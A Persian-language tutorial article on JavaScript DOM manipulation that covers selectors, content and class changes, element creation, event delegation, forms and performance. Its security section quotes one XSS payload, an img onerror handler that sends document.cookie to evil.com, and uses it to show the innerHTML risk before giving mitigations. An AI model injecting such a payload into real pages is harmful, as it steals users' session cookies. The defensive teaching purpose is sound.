یادم می‌آید اولین بار که با DOM جدی کار کردم، یک پروژه‌ی کوچک داشتم: یک فرم که باید کاربر را بدون رفرش صفحه از ورودی‌های نامعتبر آگاه کند. ساده به نظر می‌رسید، ولی وقتی اولین نسخه را نوشتم و اجرا کردم، هیچ اتفاقی نیفتاد — نه پیامی، نه رنگی، نه هیچ. سه ساعت طول کشید تا بفهمم مشکل این بود که اسکریپت من پیش از رندر شدن عناصر HTML اجرا می‌شد و document.querySelector مقدار null برمی‌گرداند. آن روز برایم روشن شد که کار با DOM در جاوااسکریپت فقط دستورات querySelector و appendChild نیست؛ یک رابطه‌ی دقیق با زمان‌بندی صفحه، ساختار HTML و رویدادهاست که اگر درست درک نشود، هر خط کد شما ممکن است بی‌صدا شکست بخورد. در این مقاله، همان مسیری را می‌روم که امروز با تازه‌کارها طی می‌کنم: از مدل ذهنی DOM و انتخاب عناصر، تا تغییر محتوا، رویدادها، ساخت المان جدید، بهینه‌سازی و اشتباهات رایج.

DOM دقیقاً چیست؟

اگر تازه با جاوااسکریپت آشنا می‌شوید، اول آموزش جاوااسکریپت از صفر را بخوانید و بعد مفاهیم پایه جاوااسکریپت را مرور کنید. حالا DOM (Document Object Model) در یک جمله این است: نمایی از صفحه‌ی HTML شما به‌شکل درختی از آبجکت‌های جاوااسکریپت. مرورگر، هر تگ HTML را به یک گره (Node) تبدیل می‌کند و آن‌ها را در یک ساختار درختی می‌چیند. سپس این درخت را در اختیار جاوااسکریپت می‌گذارد تا هر تغییری در آن بدهید، مستقیماً روی صفحه اعمال شود.

سه نکته‌ی مهم که مدل ذهنی درستی از DOM می‌سازد:

  • DOM، HTML نیست: HTML یک متن است که مرورگر می‌خواند. DOM، آبجکتی است که از آن متن ساخته می‌شود. اگر HTML شما ناقص باشد، مرورگر DOM را اصلاح می‌کند — که گاهی باعث رفتارهای غیرمنتظره می‌شود.
  • DOM، بومی مرورگر است: برخلاف کتابخانه‌هایی مثل React یا jQuery، DOM بخشی از خود مرورگر است و استاندارد W3C و WHATWG را دنبال می‌کند. هر کتابخانه‌ای در نهایت روی همین DOM کار می‌کند.
  • DOM، درخت است نه لیست: هر گره، والد و فرزند و خواهر و برادر دارد. همین ساختار درختی، پایه‌ی پیمایش و انتخاب است — مفهوم را در بخش پیمایش با مثال باز می‌کنم.
DOM، ترجمه‌ی HTML به زبانی است که جاوااسکریپت می‌فهمد؛ اگر HTML را متن بدانید، DOM همان متن است که به حافظه منتقل شده و به گره‌های قابل لمس تبدیل شده است.

چرا DOM، قلب هر رابط کاربری وب است؟

قبل از کار با DOM، خوب است بدانید چرا این مفهوم این‌قدر مهم است. سه دلیل که در پروژه‌های واقعی به آن‌ها رسیده‌ام:

  • هر تعاملی، از طریق DOM اتفاق می‌افتد: وقتی روی دکمه‌ای کلیک می‌کنید، وقتی فرمی را ارسال می‌کنید، وقتی منو باز می‌شود — همه‌ی این‌ها از طریق تغییر DOM رخ می‌دهند. حتی انیمیشن‌های CSS، در نهایت با تغییر کلاس روی گره‌های DOM اجرا می‌شوند.
  • کتابخانه‌ها و فریم‌ورک‌ها روی DOM سوار می‌شوند: React، Vue، Svelte، Angular — همه‌شان لایه‌ای انتزاعی روی DOM هستند. اگر DOM را نشناسید، در روز دیباگ، وقتی که انتزاع‌ها می‌شکنند، بلاتکلیف می‌مانید.
  • DOM کند است، و این کندی بر همه‌چیز اثر دارد: کار کردن با DOM گران است و در پروژه‌های بزرگ، همین کندی تفاوت بین یک اپلیکیشن روان و یک اپلیکیشن کند را می‌سازد. درک این کندی، دلیل وجود مفهوم «Virtual DOM» در React است. اصول کلی سرعت در بهینه‌سازی جاوااسکریپت آمده است — و بخش زیادی از آن، حول DOM می‌چرخد.

انتخاب عناصر: پنج روش اصلی

قبل از هر تغییری در صفحه، باید آن عنصر را انتخاب کنید. پنج روش اصلی که در پروژه‌های واقعی استفاده می‌کنم:

۱) querySelector و querySelectorAll

// انتخاب اولین عنصر با سلکتور CSS
const title = document.querySelector("h1");
const submitBtn = document.querySelector(".submit-btn");
const sidebar = document.querySelector("#sidebar");

// انتخاب همه‌ی عناصر منطبق (NodeList)
const allItems = document.querySelectorAll(".item");
allItems.forEach((item) => item.classList.add("active"));

این دو، روش‌های استاندارد امروز هستند. querySelector فقط اولین منطبق را برمی‌گرداند؛ querySelectorAll یک NodeList از همه‌ی منطبق‌ها که با forEach قابل پیمایش است.

۲) انتخاب با ID: getElementById

const header = document.getElementById("main-header");

قدیمی‌تر و سریع‌تر از querySelector، ولی محدود به ID است. در پروژه‌های واقعی، وقتی به‌طور مکرر یک عنصر مشخص را می‌خوانم، از این روش استفاده می‌کنم چون سریع‌تر است.

۳) getElementsByClassName و getElementsByTagName

const buttons = document.getElementsByClassName("btn");
const paragraphs = document.getElementsByTagName("p");

این‌ها HTMLCollection برمی‌گردانند، نه NodeList. تفاوت مهم: HTMLCollection زنده است — یعنی اگر عنصر جدیدی با همان کلاس اضافه شود، به‌طور خودکار در مجموعه‌ی شما دیده می‌شود. این ویژگی در بعضی سناریوها مفید و در بعضی، منبع باگ است.

۴) سلکتور ترکیبی

// انتخاب با سلکتورهای پیچیده
const firstItemInList = document.querySelector("ul.menu > li:first-child");
const activeButtons = document.querySelectorAll("button.active[data-role=\"submit\"]");

توانایی استفاده از سلکتورهای CSS، یکی از بزرگ‌ترین مزایای querySelector است. اگر با سلکتورهای CSS آشنایی کم دارید، انتخابگرهای CSS راهنمای کامل را دارد. تسلط بر این سلکتورها، به شما امکان می‌دهد دقیقاً هر عنصری را که می‌خواهید، در یک خط انتخاب کنید.

۵) انتخاب با data attribute

const userCard = document.querySelector("[data-user-id=\"42\"]");

در پروژه‌های مدرن، استفاده از data-* attribute برای اتصال بین HTML و جاوااسکریپت، الگویی رایج است. مزیتش این است که منطق جاوااسکریپت با CSS مخلوط نمی‌شود.

یک نکته‌ی عملی از تجربه: در پروژه‌های بزرگ، از یک نقشه‌ی متمرکز برای انتخاب‌ها استفاده کنید. به‌جای پراکنده‌کردن document.querySelector(".btn-primary") در ده جا، یک فایل با نام‌گذاری مشخص بسازید:

const elements = {
    submitButton: document.querySelector(".submit-btn"),
    userList: document.querySelector("#user-list"),
    searchInput: document.querySelector("input[name=\"search\"]"),
};

elements.submitButton.addEventListener("click", handleSubmit);

این الگو، در روز تغییر ساختار HTML، یک نقطه‌ی تغییر به شما می‌دهد نه ده تا.

خواندن و تغییر محتوا

بعد از انتخاب عنصر، می‌توانید محتوای آن را بخوانید یا تغییر دهید. سه راه اصلی:

textContent: متن خام

const title = document.querySelector("h1");

// خواندن
console.log(title.textContent);

// نوشتن — تگ‌های HTML را نادیده می‌گیرد
title.textContent = "عنوان جدید";

سریع‌ترین و امن‌ترین راه. محتوای HTML را به‌عنوان متن خام در نظر می‌گیرد.

innerHTML: تفسیر HTML

const container = document.querySelector(".content");
container.innerHTML = "<p>محتوای <strong>جدید</strong></p>";

محتوای HTML را تفسیر می‌کند. خطر امنیتی: اگر این محتوا از ورودی کاربر بیاید، امکان XSS وجود دارد. جزئیات این خطر را در بخش امنیت توضیح می‌دهم.

innerText: متن رندرشده

console.log(element.innerText);

برخلاف textContent، این ویژگی به استایل CSS احترام می‌گذارد. اگر عنصری پنهان باشد، innerText مقدار خالی برمی‌گرداند. در پروژه‌های واقعی، به‌دلیل هزینه‌ی بیشتری که برای بازمحاسبه‌ی layout دارد، ترجیح می‌دهم از textContent استفاده کنم، مگر این‌که واقعاً به متن رندرشده نیاز داشته باشم.

ویژگیرفتارکاربرد
textContentمتن خام، سریعپیش‌فرض برای نوشتن متن
innerHTMLتفسیر HTMLفقط با محتوای کنترل‌شده
innerTextمتن رندرشده، احترام به CSSنیاز به متن قابل‌مشاهده

ویژگی‌ها و کلاس‌ها

علاوه بر محتوا، می‌توانید ویژگی‌های عنصر را هم تغییر دهید:

کلاس‌ها

const button = document.querySelector(".btn");

// افزودن و حذف
button.classList.add("active");
button.classList.remove("loading");

// تاگل — الگوی طلایی برای منوها
button.classList.toggle("open");

// بررسی وجود
if (button.classList.contains("disabled")) {
    return;
}

API classList در پروژه‌های واقعی، ابزار اصلی برای تغییر وضعیت ظاهری عنصر است. classList.toggle مخصوصاً در پروژه‌های منوها و مودال‌ها بسیار پرکاربرد است.

ویژگی‌های معمولی

const link = document.querySelector("a");

// خواندن
console.log(link.getAttribute("href"));

// نوشتن
link.setAttribute("target", "_blank");
link.removeAttribute("rel");

// ویژگی‌های استاندارد مستقیماً قابل دسترسی‌اند
console.log(link.href);
link.href = "https://example.com";

data attributes: پل بین HTML و JS

// HTML: <div data-user-id="42" data-role="admin">
const div = document.querySelector("div");

console.log(div.dataset.userId);  // "42"
console.log(div.dataset.role);     // "admin"

div.dataset.status = "active";

توجه کنید که در HTML از data-user-id استفاده می‌شود ولی در جاوااسکریپت به dataset.userId تبدیل می‌شود — یعنی خط تیره به camelCase تبدیل می‌شود. این الگو، در پروژه‌های مدرن جایگزین کلاس‌های معنایی شده.

در پروژه‌های واقعی، هر بار که بین HTML و جاوااسکریپت داده رد و بدل می‌کنید، یک data attribute مناسب، یک class معنادار و یک id مشخص، از هر روش دیگری خواناتر است.

استایل‌دهی از طریق جاوااسکریپت

می‌توانید مستقیماً استایل عنصر را تغییر دهید:

const box = document.querySelector(".box");

// استایل مستقیم
box.style.backgroundColor = "red";
box.style.padding = "20px";

// حذف
box.style.removeProperty("background-color");

// استفاده از CSS Variable
box.style.setProperty("--primary-color", "#007bff");

سه نکته‌ی مهم در استایل‌دهی با جاوااسکریپت که در پروژه‌های واقعی به آن‌ها رسیده‌ام:

  • نام‌های CSS با خط تیره، به camelCase تبدیل می‌شوند: background-color در CSS، در JS می‌شود backgroundColor.
  • استایل مستقیم، محدودیت دارد: برای pseudo-element‌ها (مثل ::before) قابل استفاده نیست، و نمی‌توانید media query بنویسید. برای این‌ها، از classList استفاده کنید — کلاس را از JS تاگل کنید و استایل را در CSS بنویسید.
  • استایل مستقیم، CSS شما را پراکنده می‌کند: اگر همه‌چیز را در جاوااسکریپت استایل کنید، در پروژه‌ی بزرگ، هیچ‌جا نمی‌توانید استایل کامل یک عنصر را یک‌جا ببینید. بهتر است استایل در CSS بماند و جاوااسکریپت فقط کلاس‌ها را تغییر دهد.

الگوی حرفه‌ای که در پروژه‌های واقعی رعایت می‌کنم: جاوااسکریپت فقط کلاس تاگل می‌کند، CSS تصمیم می‌گیرد چه شکلی باشد. این تفکیک، خوانایی و نگهداری را به‌شدت بهبود می‌دهد.

ساخت و حذف عناصر

یکی از پرکاربردترین کارهای DOM، ساخت عناصر جدید و اضافه‌کردن آن‌ها به صفحه است:

ساخت عنصر جدید

// ساخت
const newItem = document.createElement("li");
newItem.textContent = "آیتم جدید";
newItem.classList.add("list-item");
newItem.dataset.id = "42";

// اضافه‌کردن به DOM
const list = document.querySelector("ul");
list.appendChild(newItem);

متدهای insert

// قبل از عنصر مشخص
list.insertBefore(newItem, list.firstChild);

// موقعیت‌های مدرن
list.prepend(newItem);                 // ابتدای لیست
list.append(newItem);                  // انتهای لیست
list.children[2].before(newItem);      // قبل از عنصر سوم
list.children[2].after(newItem);       // بعد از عنصر سوم
list.children[2].replaceWith(newItem); // جایگزینی

حذف عنصر

// روش قدیمی
parentElement.removeChild(childElement);

// روش مدرن
childElement.remove();

کلون کردن

const original = document.querySelector(".template");

// کپی سطحی
const shallow = original.cloneNode(false);

// کپی عمیق — شامل فرزندان
const deep = original.cloneNode(true);

یک الگوی عملی که در پروژه‌های واقعی زیاد استفاده می‌کنم: قبل از اضافه‌کردن یک لیست از عناصر، همه را در یک DocumentFragment بسازید و بعد یک‌بار به DOM اضافه کنید:

const fragment = document.createDocumentFragment();

items.forEach((item) => {
    const li = document.createElement("li");
    li.textContent = item.name;
    fragment.appendChild(li);
});

list.appendChild(fragment);  // یک عملیات DOM، به‌جای صد عملیات

این الگو، در پروژه‌های واقعی، تفاوت بین یک صفحه‌ی روان و یک صفحه‌ی لَگ‌دار است — چون DOM فقط یک‌بار تغییر می‌کند نه صد بار. اصول کامل این بهینه‌سازی در ادامه و در بهینه‌سازی جاوااسکریپت آمده است.

پیمایش درخت DOM

DOM یک درخت است و هر گره، روابطی با گره‌های دیگر دارد:

const item = document.querySelector(".item");

// والد
console.log(item.parentElement);

// فرزندان
console.log(item.children);        // فقط عناصر
console.log(item.childNodes);      // شامل متن و کامنت

// اولین و آخرین فرزند
console.log(item.firstElementChild);
console.log(item.lastElementChild);

// خواهر و برادر
console.log(item.previousElementSibling);
console.log(item.nextElementSibling);

نکته‌ی ظریف: children فقط عناصر HTML را برمی‌گرداند، ولی childNodes شامل همه‌ی گره‌ها، از جمله متن‌ها و کامنت‌ها. در پروژه‌های واقعی، تفاوت این دو، منبع باگ‌های عجیبی است — مثلاً وقتی childNodes[0] به‌جای یک عنصر، یک گره‌ی متنی برمی‌گرداند که فضای خالی بین تگ‌ها را نگه داشته است.

اتصال رویدادها

رویدادها، پل بین کاربر و کد شما هستند. سه روش اصلی اتصال رویداد که در پروژه‌های واقعی به‌کار می‌برم:

addEventListener

const button = document.querySelector(".btn");

button.addEventListener("click", (event) => {
    event.preventDefault();
    console.log("Clicked!");
});

روش استاندارد امروز. مزیتش این است که می‌توانید چند listener برای یک رویداد داشته باشید و به‌راحتی حذفشان کنید.

Event Delegation: الگوی کلیدی برای لیست‌های حجیم

const list = document.querySelector("ul");

list.addEventListener("click", (event) => {
    if (event.target.matches("li.delete-btn")) {
        event.target.closest("li").remove();
    }
});

در این الگو، به‌جای اضافه‌کردن یک listener به هر li، آن را روی والد مشترک اضافه می‌کنیم و از event.target استفاده می‌کنیم. مزیت: یک listener به‌جای صدها listener — که در لیست‌های حجیم، تفاوت بین روانی و کندی است.

حذف listener

function handleClick() {
    console.log("clicked");
}

button.addEventListener("click", handleClick);
button.removeEventListener("click", handleClick);

نکته‌ی مهم: برای حذف، باید همان reference تابع را بدهید. arrow functionهای بی‌نام قابل حذف نیستند چون هر بار reference متفاوتی دارند.

اصول کامل رویدادها، از جمله bubbling و capturing، در رویدادها در جاوااسکریپت با جزئیات آمده است.

کار با فرم‌ها

فرم‌ها، یکی از رایج‌ترین موارد استفاده از DOM هستند. سه الگوی پرکاربرد در پروژه‌های واقعی:

خواندن مقادیر فرم

const form = document.querySelector("form");
const input = form.querySelector("input[name=\"email\"]");

console.log(input.value);

// خواندن همه‌ی داده‌های فرم
const formData = new FormData(form);
const data = Object.fromEntries(formData);

اعتبارسنجی سمت کلاینت

form.addEventListener("submit", (event) => {
    const email = form.email.value.trim();

    if (!email.includes("@")) {
        event.preventDefault();
        showError("ایمیل معتبر نیست");
        return;
    }

    // ادامه‌ی ارسال
});

نکته‌ی مهم امنیتی: اعتبارسنجی سمت کلاینت، فقط برای بهبود تجربه‌ی کاربری است. هرگز به آن به‌عنوان لایه‌ی امنیتی تکیه نکنید — همیشه سمت سرور هم اعتبارسنجی کنید. اصول کامل این لایه‌بندی را در امنیت در PHP و امنیت API توضیح داده‌ام.

کارایی: چرا DOM کند است؟

کار با DOM گران است. هر تغییری در DOM، ممکن است باعث بازمحاسبه‌ی layout و repaint صفحه شود. در پروژه‌های واقعی، این کندی می‌تواند تفاوت بین یک اپلیکیشن روان و یک اپلیکیشن لَگ‌دار باشد. سه اصل بهینه‌سازی که در پروژه‌های واقعی به آن‌ها رسیده‌ام:

۱) در حافظه بسازید، بعد یک‌بار به DOM اضافه کنید

// بد: هر append یک layout مجدد
for (let i = 0; i < 1000; i++) {
    const li = document.createElement("li");
    list.appendChild(li);
}

// خوب: یک‌بار اضافه کردن
const fragment = document.createDocumentFragment();
for (let i = 0; i < 1000; i++) {
    const li = document.createElement("li");
    fragment.appendChild(li);
}
list.appendChild(fragment);

۲) از خواندن و نوشتن پشت‌سرهم پرهیز کنید

// بد: خواندن و نوشتن مخلوط
elements.forEach((el) => {
    const height = el.offsetHeight;  // خواندن — layout
    el.style.height = height + 10 + "px";  // نوشتن — layout مجدد
});

// خوب: اول همه خواندن، بعد همه نوشتن
const heights = elements.map((el) => el.offsetHeight);
elements.forEach((el, i) => {
    el.style.height = heights[i] + 10 + "px";
});

این الگو در پروژه‌های واقعی، تفاوت چند برابری در سرعت می‌سازد — چون هر جابه‌جایی بین خواندن و نوشتن، یک layout اجباری ایجاد می‌کند.

۳) از رندر مجدد بی‌دلیل جلوگیری کنید

در پروژه‌های واقعی، بعضی از بزرگ‌ترین مشکلات کارایی از «رندر مجدد بی‌دلیل» می‌آیند. مثلاً اگر در یک حلقه، تعداد زیادی کلاس اضافه/حذف کنید، هر بار layout محاسبه می‌شود. راه‌حل: تغییرات را جمع کنید و در یک مرحله اعمال کنید.

DOM، کند است چون مرورگر بعد از هر تغییر، باید دوباره محاسبه کند؛ بهینه‌سازی DOM، یعنی کاهش تعداد دفعاتی که این محاسبه لازم می‌شود.

امنیت: XSS و innerHTML

یکی از جدی‌ترین خطرات امنیتی در کار با DOM، XSS (Cross-Site Scripting) است. اگر محتوایی که به innerHTML می‌دهید از ورودی کاربر بیاید، مهاجم می‌تواند اسکریپت مخرب جاسازی کند:

// خطرناک
const userInput = "<img src=x onerror=\"fetch('https://evil.com?c=' + document.cookie)\">";
element.innerHTML = userInput;  // کوکی‌ها به مهاجم ارسال می‌شوند

سه راه‌حل که در پروژه‌های واقعی به‌کار می‌برم:

  • استفاده از textContent به‌جای innerHTML: اگر نیاز به تفسیر HTML ندارید، همیشه textContent استفاده کنید. این یک خط تغییر، جلوی ۹۰٪ حملات XSS را می‌گیرد.
  • پاک‌سازی داده: اگر واقعاً نیاز به HTML دارید (مثلاً در نمایش متن‌های غنی)، داده را با کتابخانه‌ی تخصصی مثل DOMPurify پاک کنید.
  • ساخت گره با createElement: به‌جای ساخت HTML به‌شکل رشته، گره‌ها را با createElement بسازید و ویژگی‌هایشان را با setAttribute تنظیم کنید:
// امن
const img = document.createElement("img");
img.src = userProvidedUrl;  // فقط به‌عنوان URL استفاده می‌شود
img.alt = "تصویر کاربر";
container.appendChild(img);

اصول کامل امنیت وب در امنیت وب چیست و حملات XSS و راه‌های جلوگیری آمده است. تجربه‌ی من: با رعایت همین سه اصل، هیچ حمله‌ی XSS در پروژه‌های من موفق نشده — مخصوصاً چون همیشه لایه‌ی سمت سرور را هم جدی گرفته‌ام.

اشتباهاتی که در پروژه‌های واقعی دیده‌ام

در بازبینی کد پروژه‌های مختلف، این اشتباهات را زیاد دیده‌ام:

  • اجرای اسکریپت قبل از آماده‌شدن DOM: همان باگ مقدمه. راه‌حل: اسکریپت را با defer لود کنید یا در DOMContentLoaded بپیچید:
document.addEventListener("DOMContentLoaded", () => {
    // کد DOM این‌جا
});
  • استفاده از innerHTML برای متن ساده: کندتر است و خطر XSS دارد. از textContent استفاده کنید.
  • افزودن listener به هر عنصر در لیست حجیم: به‌جای آن، از Event Delegation استفاده کنید — یک listener روی والد مشترک.
  • نبود حذف listener: وقتی عنصر از DOM حذف می‌شود ولی listener باقی می‌ماند، نشتی حافظه رخ می‌دهد. در پروژه‌های SPA این موضوع حیاتی است.
  • خواندن و نوشتن پشت‌سرهم DOM: باعث layout اجباری و کندی. اول همه خواندن، بعد همه نوشتن.
  • مقایسه‌ی HTMLCollection با آرایه: HTMLCollection متدهای آرایه را ندارد (مثل map و filter). برای تبدیل، از Array.from(collection) یا spread استفاده کنید.
  • فراموش کردن event.preventDefault() در فرم‌ها: باعث رفرش صفحه و از دست رفتن حالت می‌شود. در فرم‌های SPA همیشه این خط را بگذارید.
  • نادیده‌گرفتن سفر DOM: بعضی توسعه‌دهندگان برای رسیدن به یک عنصر، از querySelector های تودرتو استفاده می‌کنند. بهتر است از closest() یا پیمایش مستقیم استفاده کنید.
  • انتخاب عناصر با کلاس‌های ظاهری: به‌جای .btn-primary که ممکن است در آینده تغییر کند، از [data-action="submit"] استفاده کنید. منطق جاوااسکریپت نباید به ظاهر گره بخورد.
  • نبود تفکیک بین JS و CSS: بعضی تیم‌ها همه‌چیز را در JS استایل می‌کنند. نتیجه: نگهداری سخت. قاعده: JS فقط کلاس‌ها را تغییر دهد، CSS ظاهر را تعیین کند.
  • استفاده از getElementsByClassName بدون توجه به زنده بودن: چون نتیجه‌ی این متد زنده است، اگر در حلقه استفاده شود، رفتار غیرمنتظره دارد. برای امنیت، querySelectorAll بهتر است.
  • دستکاری مستقیم DOM به‌جای استفاده از فریم‌ورک: در پروژه‌های React یا Vue، دستکاری مستقیم DOM می‌تواند با Virtual DOM درگیر شود. اصول این تعامل را در کار با DOM و آموزش جاوااسکریپت توضیح داده‌ام.
  • نبود مستندسازی برای ساختار HTML: اگر ساختار HTML شما پیچیده است، یک یادداشت کوتاه با نقش هر عنصر کلیدی، جلوی بسیاری از خطاهای انتخاب را می‌گیرد.

یک توصیه‌ی عملی از تجربه: در پروژه‌های جدید، اول یک ساختار HTML ساده بسازید و بعد کد جاوااسکریپت را بنویسید. برعکسش، یعنی نوشتن HTML برای کدی که در ذهن دارید، خیلی وقت‌ها به بازنویسی منجر می‌شود. اگر با ES6 و امکانات مدرن جاوااسکریپت آشنا نیستید، آموزش ES6 در جاوااسکریپت پیش‌نیاز خوبی برای کار حرفه‌ای با DOM است — چون خیلی از الگوهای مدرن کار با DOM، به امکانات ES6 تکیه دارند. برای کار با فرم‌ها به‌شکل مدرن، اعتبارسنجی داده‌ها هم نکات مکملی در سمت سرور دارد.

سخن آخر

کار با DOM در جاوااسکریپت، از یک querySelector ساده شروع می‌شود ولی در پروژه‌های واقعی، به مهارتی تبدیل می‌شود که روانی و پایداری رابط کاربری را تعیین می‌کند. سه نکته‌ی اصلی که در این مقاله به آن‌ها رسیدیم: اول، انتخاب عنصر، پایه‌ی هر کاری است — با تسلط بر سلکتورهای CSS، در یک خط می‌توانید هر عنصری را هدف بگیرید و منطق جاوااسکریپت را از ظاهر جدا نگه دارید؛ دوم، DOM کند است — با بچ‌کردن تغییرات و پرهیز از خواندن/نوشتن پشت‌سرهم، می‌توانید کارایی را چند برابر کنید؛ سوم، امنیت را جدی بگیرید — innerHTML با داده‌ی کاربر، دروازه‌ی ورود XSS است؛ همیشه textContent یا ساخت امن گره را انتخاب کنید.

اگر امروز می‌خواهید در کار با DOM ماهر شوید، سه کار کوچک پیشنهاد می‌کنم: یک لیست از داده بسازید و به‌جای innerHTML، با createElement و DocumentFragment به صفحه اضافه کنید؛ یک Event Delegation ساده روی یک لیست پیاده کنید و تعداد listenerها را با روش مستقیم مقایسه کنید؛ و یک فرم کوچک بسازید که اعتبارسنجی سمت کلاینت داشته باشد، با یادآوری همیشگی این‌که اعتبارسنجی اصلی در سرور است. همین سه تمرین، ۹۰٪ مهارت‌های عملی DOM را در ذهن شما زنده می‌کند. مسیر طبیعی بعدی، رویدادها در جاوااسکریپت، متدهای آرایه در جاوااسکریپت و fetch API در جاوااسکریپت است — چون اپلیکیشن واقعی، ترکیبی از DOM، داده و ارتباط با سرور است. اگر تجربه‌ای از کار با DOM در پروژه‌های خودتان دارید — مخصوصاً اگر با یک باگ کارایی یا مشکل XSS روبرو شده‌اید — در دیدگاه‌ها بنویسید؛ همین نکته‌های میدانی، برای خواننده‌ی بعدی از هر مستند رسمی ارزشمندتر است. 🖱️